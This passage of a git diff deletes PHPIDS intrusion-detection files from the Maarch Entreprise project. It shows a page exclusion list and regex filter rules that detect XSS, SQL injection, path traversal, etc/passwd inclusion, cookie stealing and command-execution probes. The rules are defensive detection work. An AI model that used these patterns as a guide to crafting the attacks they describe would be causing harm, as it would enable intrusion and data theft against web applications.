- <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>62</id> - <rule><![CDATA[(?:function[^(]*\([^)]*\))|(?:(?:delete|void|throw|instanceof|new|typeof)[^\w.]+\w+\s*[([])|([)\]]\s*\.\s*\w+\s*=)|(?:\(\s*new\s+\w+\s*\)\.)]]></rule> - <description>Detects common function declarations and special JS operators</description> - <tags> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>63</id> - <rule><![CDATA[(?:[\w.-]+@[\w.-]+%(?:[01][\db-ce-f])+\w+:)]]></rule> - <description>Detects common mail header injections</description> - <tags> - <tag>id</tag> - <tag>spam</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>64</id> - <rule><![CDATA[(?:\.pl\?\w+=\w?\|\w+;)|(?:\|\(\w+=\*)|(?:\*\s*\)+\s*;)]]></rule> - <description>Detects perl echo shellcode injection and LDAP vectors</description> - <tags> - <tag>lfi</tag> - <tag>rfe</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>65</id> - <rule><![CDATA[(?:(^|\W)const\s+[\w\-]+\s*=)|(?:(?:do|for|while)\s*\([^;]+;+\))|(?:(?:^|\W)on\w+\s*=[\w\W]*(?:on\w+|alert|eval|print|confirm|prompt))|(?:groups=\d+\(\w+\))|(?:(.)\1{128,})]]></rule> - <description>Detects basic XSS DoS attempts</description> - <tags> - <tag>rfe</tag> - <tag>dos</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>67</id> - <rule><![CDATA[(?:\({2,}\+{2,}:{2,})|(?:\({2,}\+{2,}:+)|(?:\({3,}\++:{2,})|(?:\$\[!!!\])]]></rule> - <description>Detects unknown attack vectors based on PHPIDS Centrifuge detection</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>68</id> - <rule><![CDATA[(?:[\s\/"]+[-\w\/\\\*]+\s*=.+(?:\/\s*>))]]></rule> - <description>Finds attribute breaking injections including obfuscated attributes</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>69</id> - <rule><![CDATA[(?:(?:msgbox|eval)\s*\+|(?:language\s*=\*vbscript))]]></rule> - <description>Finds basic VBScript injection attempts</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>70</id> - <rule><![CDATA[(?:\[\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)\])]]></rule> - <description>Finds basic MongoDB SQL injection attempts</description> - <tags> - <tag>sqli</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>71</id> - <rule><![CDATA[(?:[\s\d\/"]+(?:on\w+|style|poster|background)=[$"\w])|(?:-type\s*:\s*multipart)]]></rule> - <description>finds malicious attribute injection attempts and MHTML attacks</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>72</id> - <rule><![CDATA[(?:(sleep\((\s*)(\d*)(\s*)\)|benchmark\((.*)\,(.*)\)))]]></rule> - <description>Detects blind sqli tests using sleep() or benchmark().</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>73</id> - <rule><![CDATA[(?i:(\%SYSTEMROOT\%))]]></rule> - <description>An attacker is trying to locate a file to read or write.</description> - <tags> - <tag>files</tag> - <tag>id</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>74</id> - <rule><![CDATA[(?i:(ping(.*)[\-(.*)\w|\w(.*)\-]))]]></rule> - <description>Detects remote code exectuion tests. Will match "ping -n 3 localhost" and "ping localhost -n 3" </description> - <tags> - <tag>Command Execution</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>75</id> - <rule><![CDATA[(?:(((.*)\%[c|d|i|e|f|g|o|s|u|x|p|n]){8}))]]></rule> - <description>Looking for a format string attack</description> - <tags> - <tag>format string</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>76</id> - <rule><![CDATA[(?:(union(.*)select(.*)from))]]></rule> - <description>Looking for basic sql injection. Common attack string for mysql, oracle and others.</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>3</impact> - </filter> - <filter> - <id>77</id> - <rule><![CDATA[(?:^(-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|2.2250738585072007e-308|1e309)$)]]></rule> - <description>Looking for intiger overflow attacks, these are taken from skipfish, except 2.2250738585072007e-308 is the "magic number" crash</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>3</impact> - </filter> -</filters> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/maarch_exclude.xml b/apps/maarch_entreprise/tools/phpids/lib/IDS/maarch_exclude.xml deleted file mode 100755 index 54fd3771d9c67936c57e18040541a5f72f4e25f2..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/maarch_exclude.xml +++ /dev/null @@ -1,78 +0,0 @@ -<excludes> - <exclude> - <target>groups</target> - <page>check_access</page> - </exclude> - <exclude> - <target>groups</target> - <page>manage_access</page> - </exclude> - <exclude> - <target>basket</target> - <page>basket_up_db</page> - </exclude> - <exclude> - <target>basket</target> - <page>basket_add_db</page> - </exclude> - <exclude> - <target>fileplan</target> - <page>positions_checked_list_autocompletion</page> - </exclude> - <exclude> - <target>fileplan</target> - <page>positions_tree_childs</page> - </exclude> - <exclude> - <target>fileplan</target> - <page>positions_documents_list</page> - </exclude> - <exclude> - <target>fileplan</target> - <page>fileplan_ajax_script</page> - </exclude> - <exclude> - <target>templates</target> - <page>templates_management_controler</page> - </exclude> - <exclude> - <target>templates</target> - <page>manage_generated_attachment</page> - </exclude> - <exclude> - <target>life_cycle</target> - <page>lc_cycles_management_controler</page> - </exclude> - <exclude> - <target>sendmail</target> - <page>sendmail_ajax_content</page> - </exclude> - <exclude> - <target>entities</target> - <page>get_tree_childs</page> - </exclude> - <exclude> - <target>entities</target> - <page>load_toolbarEntities</page> - </exclude> - <exclude> - <target></target> - <page>get_tree_children_contact</page> - </exclude> - <exclude> - <target>templates</target> - <page>addTemplateBase</page> - </exclude> - <exclude> - <target>basket</target> - <page>manage_group_basket</page> - </exclude> - <exclude> - <target>templates</target> - <page>file_iframe</page> - </exclude> - <exclude> - <target></target> - <page>getIframeTemplateContent</page> - </exclude> -</excludes> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/maarch_filter.xml b/apps/maarch_entreprise/tools/phpids/lib/IDS/maarch_filter.xml deleted file mode 100755 index 3de4e068848984572e688eeefa51879b927bf592..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/maarch_filter.xml +++ /dev/null @@ -1,757 +0,0 @@ -<filters> - <!--<filter> - <id>1</id> - <rule><![CDATA[(?:"[^"]*[^-]?>)|(?:[^\w\s]\s*\/>)|(?:>")]]></rule> - <description>finds html breaking injections including whitespace attacks</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter>--> - <filter> - <id>2</id> - <rule><![CDATA[(?:"+.*[<=]\s*"[^"]+")|(?:"\s*\w+\s*=)|(?:>\w=\/)|(?:#.+\)["\s]*>)|(?:"\s*(?:src|style|on\w+)\s*=\s*")|(?:[^"]?"[,;\s]+\w*[\[\(])]]></rule> - <description>finds attribute breaking injections including whitespace attacks</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>3</id> - <rule><![CDATA[(?:^>[\w\s]*<\/?\w{2,}>)]]></rule> - <description>finds unquoted attribute breaking injections</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>2</impact> - </filter> - <filter> - <id>4</id> - <rule><![CDATA[(?:[+\/]\s*name[\W\d]*[)+])|(?:;\W*url\s*=)|(?:[^\w\s\/?:>]\s*(?:location|referrer)\s*[^\/\w\s-])]]></rule> - <description>Detects url-, name-, JSON, and referrer-contained payload attacks</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>5</id> - <rule><![CDATA[(?:\W\s*hash\s*[^\w\s-])|(?:\w+=\W*[^,]*,[^\s(]\s*\()|(?:\?"[^\s"]":)|(?:(?<!\/)__[a-z]+__)|(?:(?:^|[\s)\]\}])(?:s|g)etter\s*=)]]></rule> - <description>Detects hash-contained xss payload attacks, setter usage and property overloading</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>6</id> - <rule><![CDATA[(?:with\s*\(\s*.+\s*\)\s*\w+\s*\()|(?:(?:do|while|for)\s*\([^)]*\)\s*\{)|(?:\/[\w\s]*\[\W*\w)]]></rule> - <description>Detects self contained xss via with(), common loops and regex to string conversion</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> -<!-- <filter> - <id>7</id> - <rule><![CDATA[(?:[=(].+\?.+:)|(?:with\([^)]*\)\))|(?:\.\s*source\W)]]></rule> - <description>Detects JavaScript with(), ternary operators and XML predicate attacks</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> --> - <!--<filter> - <id>8</id> - <rule><![CDATA[(?:\/\w*\s*\)\s*\()|(?:\([\w\s]+\([\w\s]+\)[\w\s]+\))|(?:(?<!(?:mozilla\/\d\.\d\s))\([^)[]+\[[^\]]+\][^)]*\))|(?:[^\s!][{([][^({[]+[{([][^}\])]+[}\])][\s+",\d]*[}\])])|(?:"\)?\]\W*\[)|(?:=\s*[^\s:;]+\s*[{([][^}\])]+[}\])];)]]></rule> - <description>Detects self-executing JavaScript functions</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter>--> -<!-- <filter> - <id>9</id> - <rule><![CDATA[(?:\\u00[a-f0-9]{2})|(?:\\x0*[a-f0-9]{2})]]></rule> - <description>Detects the IE octal, hex and unicode entities</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>2</impact> - </filter> --> -<!-- <filter> - <id>10</id> - <rule><![CDATA[(?:(?:\/|\\)?\.+(\/|\\)(?:\.+)?)|(?:\w+\.exe\??\s)|(?:;\s*\w+\s*\/[\w*-]+\/)|(?:\d\.\dx\|)|(?:%(?:c0\.|af\.|5c\.))|(?:\/(?:%2e){2})]]></rule> - <description>Detects basic directory traversal</description> - <tags> - <tag>dt</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> --> - <filter> - <id>11</id> - <rule><![CDATA[(?:%c0%ae\/)|(?:(?:\/|\\)(home|conf|usr|etc|proc|opt|s?bin|local|dev|tmp|kern|[br]oot|sys|system|windows|winnt|program|%[a-z_-]{3,}%)(?:\/|\\))|(?:(?:\/|\\)inetpub|localstart\.asp|boot\.ini)]]></rule> - <description>Detects specific directory and path traversal</description> - <tags> - <tag>dt</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>12</id> - <rule><![CDATA[(?:etc\/\W*passwd)]]></rule> - <description>Detects etc/passwd inclusion attempts</description> - <tags> - <tag>dt</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>13</id> - <rule><![CDATA[(?:%u(?:ff|00|e\d)\w\w)|(?:(?:%(?:e\w|c[^3\W]|))(?:%\w\w)(?:%\w\w)?)]]></rule> - <description>Detects halfwidth/fullwidth encoded unicode HTML breaking attempts</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>3</impact> - </filter> - <filter> - <id>14</id> - <rule><![CDATA[(?:#@~\^\w+)|(?:\w+script:|@import[^\w]|;base64|base64,)|(?:\w+\s*\([\w\s]+,[\w\s]+,[\w\s]+,[\w\s]+,[\w\s]+,[\w\s]+\))]]></rule> - <description>Detects possible includes, VBSCript/JScript encodeed and packed functions</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>15</id> - <rule><![CDATA[([^*:\s\w,.\/?+-]\s*)?(?<![a-z]\s)(?<![a-z\/_@\-\|])(\s*return\s*)?(?:create(?:element|attribute|textnode)|[a-z]+events?|setattribute|getelement\w+|appendchild|createrange|createcontextualfragment|removenode|parentnode|decodeuricomponent|\wettimeout|(?:ms)?setimmediate|useragent)(?(1)[^\w%"]|(?:\s*[^@\s\w%",.+\-]))]]></rule> - <description>Detects JavaScript DOM/miscellaneous properties and methods</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>16</id> - <rule><![CDATA[([^*\s\w,.\/?+-]\s*)?(?<![a-mo-z]\s)(?<![a-z\/_@])(\s*return\s*)?(?:alert|inputbox|showmod(?:al|eless)dialog|showhelp|infinity|isnan|isnull|iterator|msgbox|executeglobal|prompt|write(?:ln)?|confirm|dialog|urn|(?:un)?eval|exec|execscript|tostring|execute|window|unescape|navigate|jquery|getscript|extend|prototype)(?(1)[^\w%"]|(?:\s*[^@\s\w%",.:\/+\-]))]]></rule> - <description>Detects possible includes and typical script methods</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>5</impact> - </filter> - <!--<filter> - <id>17</id> - <rule><![CDATA[([^*:\s\w,.\/?+-]\s*)?(?<![a-z]\s)(?<![a-z\/_@])(\s*return\s*)?(?:hash|name|href|navigateandfind|source|pathname|close|constructor|port|protocol|assign|replace|back|forward|document|ownerdocument|window|top|this|self|parent|frames|_?content|date|cookie|innerhtml|innertext|csstext+?|outerhtml|print|moveby|resizeto|createstylesheet|stylesheets)(?(1)[^\w%"]|(?:\s*[^@\/\s\w%.+\-]))]]></rule> - <description>Detects JavaScript object properties and methods</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter>--> - <filter> - <id>18</id> - <rule><![CDATA[([^*:\s\w,.\/?+-]\s*)?(?<![a-z]\s)(?<![a-z\/_@\-\|])(\s*return\s*)?(?:join|pop|push|reverse|reduce|concat|shift|sp?lice|sort|unshift)(?(1)[^\w%"]|(?:\s*[^@\s\w%,.+\-]))]]></rule> - <description>Detects JavaScript array properties and methods</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>19</id> - <rule><![CDATA[([^*:\s\w,.\/?+-]\s*)?(?<![a-z]\s)(?<![a-z\/_@\-\|])(\s*return\s*)?(?:set|atob|btoa|charat|charcodeat|charset|concat|crypto|frames|fromcharcode|indexof|lastindexof|match|navigator|toolbar|menubar|replace|regexp|slice|split|substr|substring|escape|\w+codeuri\w*)(?(1)[^\w%"]|(?:\s*[^@\s\w%,.+\-]))]]></rule> - <description>Detects JavaScript string properties and methods</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>20</id> - <rule><![CDATA[([^*":\s\w,.\/?+-]\s*)?(?<![a-z]\s)(?<![a-z_@\|])(\s*return\s*)?(?:globalstorage|sessionstorage|postmessage|callee|constructor|content|domain|prototype|try|catch|top|call|apply|url|function|object|array|string|math|if|for\s*(?:each)?|elseif|case|switch|regex|boolean|location|(?:ms)?setimmediate|settimeout|setinterval|void|setexpression|namespace|while)(?(1)[^\w%"]|(?:\s*[^@\s\w%".+\-\/]))]]></rule> - <description>Detects JavaScript language constructs</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>21</id> - <rule><![CDATA[(?:,\s*(?:alert|showmodaldialog|eval)\s*,)|(?::\s*eval\s*[^\s])|([^:\s\w,.\/?+-]\s*)?(?<![a-z\/_@])(\s*return\s*)?(?:(?:document\s*\.)?(?:.+\/)?(?:alert|eval|msgbox|showmod(?:al|eless)dialog|showhelp|prompt|write(?:ln)?|confirm|dialog|open))\s*(?:[^.a-z\s\-]|(?:\s*[^\s\w,.@\/+-]))|(?:java[\s\/]*\.[\s\/]*lang)|(?:\w\s*=\s*new\s+\w+)|(?:&\s*\w+\s*\)[^,])|(?:\+[\W\d]*new\s+\w+[\W\d]*\+)|(?:document\.\w)]]></rule> - <description>Detects very basic XSS probings</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>3</impact> - </filter> -<!-- <filter> - <id>22</id> - <rule><![CDATA[(?:=\s*(?:top|this|window|content|self|frames|_content))|(?:\/\s*[gimx]*\s*[)}])|(?:[^\s]\s*=\s*script)|(?:\.\s*constructor)|(?:default\s+xml\s+namespace\s*=)|(?:\/\s*\+[^+]+\s*\+\s*\/)]]></rule> - <description>Detects advanced XSS probings via Script(), RexExp, constructors and XML namespaces</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>5</impact> - </filter> --> -<!-- <filter> - <id>23</id> - <rule><![CDATA[(?:\.\s*\w+\W*=)|(?:\W\s*(?:location)\s*\W[^({[;]+[({[;])|(?:\(\w+\?[:\w]+\))]]></rule> - <description>Detects JavaScript location/document property access and window access obfuscation</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> --> - <filter> - <id>24</id> - <rule><![CDATA[(?:[".]script\s*\()|(?:\$\$?\s*\(\s*[\w"])|(?:\/[\w\s]+\/\.)|(?:=\s*\/\w+\/\s*\.)|(?:(?:this|window|top|parent|frames|self|content)\[\s*[(,"]*\s*[\w\$])|(?:,\s*new\s+\w+\s*[,;)])]]></rule> - <description>Detects basic obfuscated JavaScript script injections</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>25</id> - <rule><![CDATA[(?:=\s*[$\w]\s*[\(\[])|(?:\(\s*(?:this|top|window|self|parent|_?content)\s*\))|(?:src\s*=s*(?:\w+:|\/\/))|(?:\w+\[("\w+"|\w+\|\|))|(?:[\d\W]\|\|[\d\W]|\W=\w+,)|(?:\/\s*\+\s*[a-z"])|(?:=\s*\$[^([]*\()|(?:=\s*\(\s*")]]></rule> - <description>Detects obfuscated JavaScript script injections</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>26</id> - <rule><![CDATA[(?:[^:\s\w]+\s*[^\w\/](href|protocol|host|hostname|pathname|hash|port|cookie)[^\w])]]></rule> - <description>Detects JavaScript cookie stealing and redirection attempts</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>27</id> - <rule><![CDATA[(?:(?:vbs|vbscript|data):.*[,+])|(?:\w+\s*=\W*(?!https?)\w+:)|(jar:\w+:)|(=\s*"?\s*vbs(?:ript)?:)|(language\s*=\s?"?\s*vbs(?:ript)?)|on\w+\s*=\*\w+\-"?]]></rule> - <description>Detects data: URL injections, VBS injections and common URI schemes</description> - <tags> - <tag>xss</tag> - <tag>rfe</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>28</id> - <rule><![CDATA[(?:firefoxurl:\w+\|)|(?:(?:file|res|telnet|nntp|news|mailto|chrome)\s*:\s*[%&#xu\/]+)|(wyciwyg|firefoxurl\s*:\s*\/\s*\/)]]></rule> - <description>Detects IE firefoxurl injections, cache poisoning attempts and local file inclusion/execution</description> - <tags> - <tag>xss</tag> - <tag>rfe</tag> - <tag>lfi</tag> - <tag>csrf</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>29</id> - <rule><![CDATA[(?:binding\s?=|moz-binding|behavior\s?=)|(?:[\s\/]style\s*=\s*[-\\])]]></rule> - <description>Detects bindings and behavior injections</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> -<!-- <filter> - <id>30</id> - <rule><![CDATA[(?:=\s*\w+\s*\+\s*")|(?:\+=\s*\(\s")|(?:!+\s*[\d.,]+\w?\d*\s*\?)|(?:=\s*\[s*\])|(?:"\s*\+\s*")|(?:[^\s]\[\s*\d+\s*\]\s*[;+])|(?:"\s*[&|]+\s*")|(?:\/\s*\?\s*")|(?:\/\s*\)\s*\[)|(?:\d\?.+:\d)|(?:]\s*\[\W*\w)|(?:[^\s]\s*=\s*\/)]]></rule> - <description>Detects common XSS concatenation patterns 1/2</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> --> - <filter> - <id>31</id> - <rule><![CDATA[(?:=\s*\d*\.\d*\?\d*\.\d*)|(?:[|&]{2,}\s*")|(?:!\d+\.\d*\?")|(?:\/:[\w.]+,)|(?:=[\d\W\s]*\[[^]]+\])|(?:\?\w+:\w+)]]></rule> - <description>Detects common XSS concatenation patterns 2/2</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>32</id> - <rule><![CDATA[(?:[^\w\s=]on(?!g\>)\w+[^=_+-]*=[^$]+(?:\W|\>)?)]]></rule> - <description>Detects possible event handlers</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> -<!-- <filter> - <id>33</id> - <rule><![CDATA[(?:\<\w*:?\s(?:[^\>]*)t(?!rong))|(?:\<scri)|(<\w+:\w+)]]></rule> - <description>Detects obfuscated script tags and XML wrapped HTML</description> - <tags> - <tag>xss</tag> - </tags> - <impact>4</impact> - </filter> --> - <filter> - <id>34</id> - <rule><![CDATA[(?:\<\/\w+\s\w+)|(?:@(?:cc_on|set)[\s@,"=])]]></rule> - <description>Detects attributes in closing tags and conditional compilation tokens</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>37</id> - <rule><![CDATA[(?:\<base\s+)|(?:<!(?:element|entity|\[CDATA))]]></rule> - <description>Detects base href injections and XML entity injections</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>38</id> - <rule><![CDATA[(?:\<[\/]?(?:[i]?frame|applet|isindex|marquee|keygen|script|audio|video|input|button|textarea|style|base|body|meta|link|object|embed|param|plaintext|xm\w+|image|im(?:g|port)))]]></rule> - <description>Detects possibly malicious html elements including some attributes</description> - <tags> - <tag>xss</tag> - <tag>csrf</tag> - <tag>id</tag> - <tag>rfe</tag> - <tag>lfi</tag> - </tags> - <impact>4</impact> - </filter> -<!-- <filter> - <id>39</id> - <rule><![CDATA[(?:\\x[01fe][\db-ce-f])|(?:%[01fe][\db-ce-f])|(?:&#[01fe][\db-ce-f])|(?:\\[01fe][\db-ce-f])|(?:&#x[01fe][\db-ce-f])]]></rule> - <description>Detects nullbytes and other dangerous characters</description> - <tags> - <tag>id</tag> - <tag>rfe</tag> - <tag>xss</tag> - </tags> - <impact>5</impact> - </filter> --> - <filter> - <id>40</id> - <rule><![CDATA[(?:\)\s*when\s*\d+\s*then)|(?:"\s*(?:#|--|{))|(?:\/\*!\s?\d+)|(?:ch(?:a)?r\s*\(\s*\d)|(?:(?:(n?and|x?or|not)\s+|\|\||\&\&)\s*\w+\()]]></rule> - <description>Detects MySQL comments, conditions and ch(a)r injections</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>41</id> - <rule><![CDATA[(?:[\s()]case\s*\()|(?:\)\s*like\s*\()|(?:having\s*[^\s]+\s*[^\w\s])|(?:if\s?\([\d\w]\s*[=<>~])]]></rule> - <description>Detects conditional SQL injection attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>6</impact> - </filter> -<!-- <filter> - <id>42</id> - <rule><![CDATA[(?:"\s*or\s*"?\d)|(?:\\x(?:23|27|3d))|(?:^.?"$)|(?:(?:^["\\]*(?:[\d"]+|[^"]+"))+\s*(not|\|\||\&\&)\s*[\w"[+&!@(),.-])|(?:[^\w\s]\w+\s*[|-]\s*"\s*\w)|(?:@\w+\s+(and|or)\s*["\d]+)|(?:@[\w-]+\s(and|or)\s*[^\w\s])|(?:[^\w\s:]\s*\d\W+[^\w\s]\s*".)|(?:\Winformation_schema|table_name\W)]]></rule> - <description>Detects classic SQL injection probings 1/2</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>6</impact> - </filter> --> - - <filter> - <id>44</id> - <rule><![CDATA[(?:\d"\s+"\s+\d)|(?:^admin\s*"|(\/\*)+"+\s?(?:--|#|\/\*|{)?)|(?:"\s*or[\w\s-]+\s*[+<>=(),-]\s*[\d"])|(?:"\s*[^\w\s]?=\s*")|(?:"\W*[+=]+\W*")|(?:"\s*[!=|][\d\s!=+-]+.*["(].*$)|(?:"\s*[!=|][\d\s!=]+.*\d+$)|(?:"\s*like\W+[\w"(])|(?:\sis\s*0\W)|(?:where\s[\s\w\.,-]+\s=)|(?:"[<>~]+")]]></rule> - <description>Detects basic SQL authentication bypass attempts 1/3</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> -<!-- <filter> - <id>45</id> - <rule><![CDATA[(?:union\s*(?:all|distinct|[(!@]*)?\s*[([]*\s*select)|(?:\w+\s+like\s+\")|(?:like\s*"\%)|(?:"\s*like\W*["\d])|(?:"\s*(?:n?and|x?or|not |\|\||\&\&)\s+[\s\w]+=\s*\w+\s*having)|(?:"\s*\*\s*\w+\W+")|(?:"\s*[^?\w\s=.,;)(]+\s*[(@"]*\s*\w+\W+\w)|(?:select\s*[\[\]()\s\w\.,"-]+from)|(?:find_in_set\s*\()]]></rule> - <description>Detects basic SQL authentication bypass attempts 2/3</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>7</impact> - </filter> --> - <filter> - <id>47</id> - <rule><![CDATA[(?:[\d\W]\s+as\s*["\w]+\s*from)|(?:^[\W\d]+\s*(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc))|(?:(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s+(?:(?:group_)concat|char|load_file)\s?\(?)|(?:end\s*\);)|("\s+regexp\W)|(?:[\s(]load_file\s*\()]]></rule> - <description>Detects concatenated basic SQL injection and SQLLFI attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - <tag>lfi</tag> - </tags> - <impact>5</impact> - </filter> - <filter> - <id>48</id> - <rule><![CDATA[(?:@.+=\s*\(\s*select)|(?:\d+\s*or\s*\d+\s*[\-+])|(?:\/\w+;?\s+(?:having|and|or|select)\W)|(?:\d\s+group\s+by.+\()|(?:(?:;|#|--)\s*(?:drop|alter))|(?:(?:;|#|--)\s*(?:update|insert)\s*\w{2,})|(?:[^\w]SET\s*@\w+)|(?:(?:n?and|x?or|not |\|\||\&\&)[\s(]+\w+[\s)]*[!=+]+[\s\d]*["=()])]]></rule> - <description>Detects chained SQL injection attempts 1/2</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>50</id> - <rule><![CDATA[(?:(select|;)\s+(?:benchmark|if|sleep)\s*?\(\s*\(?\s*\w+)]]></rule> - <description>Detects SQL benchmark and sleep injection attempts including conditional queries</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>4</impact> - </filter> - <filter> - <id>51</id> - <rule><![CDATA[(?:create\s+function\s+\w+\s+returns)|(?:;\s*(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*[\[(]?\w{2,})]]></rule> - <description>Detects MySQL UDF injection and other data/structure manipulation attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>52</id> - <rule><![CDATA[(?:alter\s*\w+.*character\s+set\s+\w+)|(";\s*waitfor\s+time\s+")|(?:";.*:\s*goto)]]></rule> - <description>Detects MySQL charset switch and MSSQL DoS attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>6</impact> - </filter> - <filter> - <id>53</id> - <rule><![CDATA[(?:procedure\s+analyse\s*\()|(?:;\s*(declare|open)\s+[\w-]+)|(?:create\s+(procedure|function)\s*\w+\s*\(\s*\)\s*-)|(?:declare[^\w]+[@#]\s*\w+)|(exec\s*\(\s*@)]]></rule> - <description>Detects MySQL and PostgreSQL stored procedure/function injections</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>7</impact> - </filter> - <filter> - <id>54</id> - <rule><![CDATA[(?:select\s*pg_sleep)|(?:waitfor\s*delay\s?"+\s?\d)|(?:;\s*shutdown\s*(?:;|--|#|\/\*|{))]]></rule> - <description>Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts</description> - <tags> - <tag>sqli</tag> - <tag>id</tag> - </tags> - <impact>5</impact> - 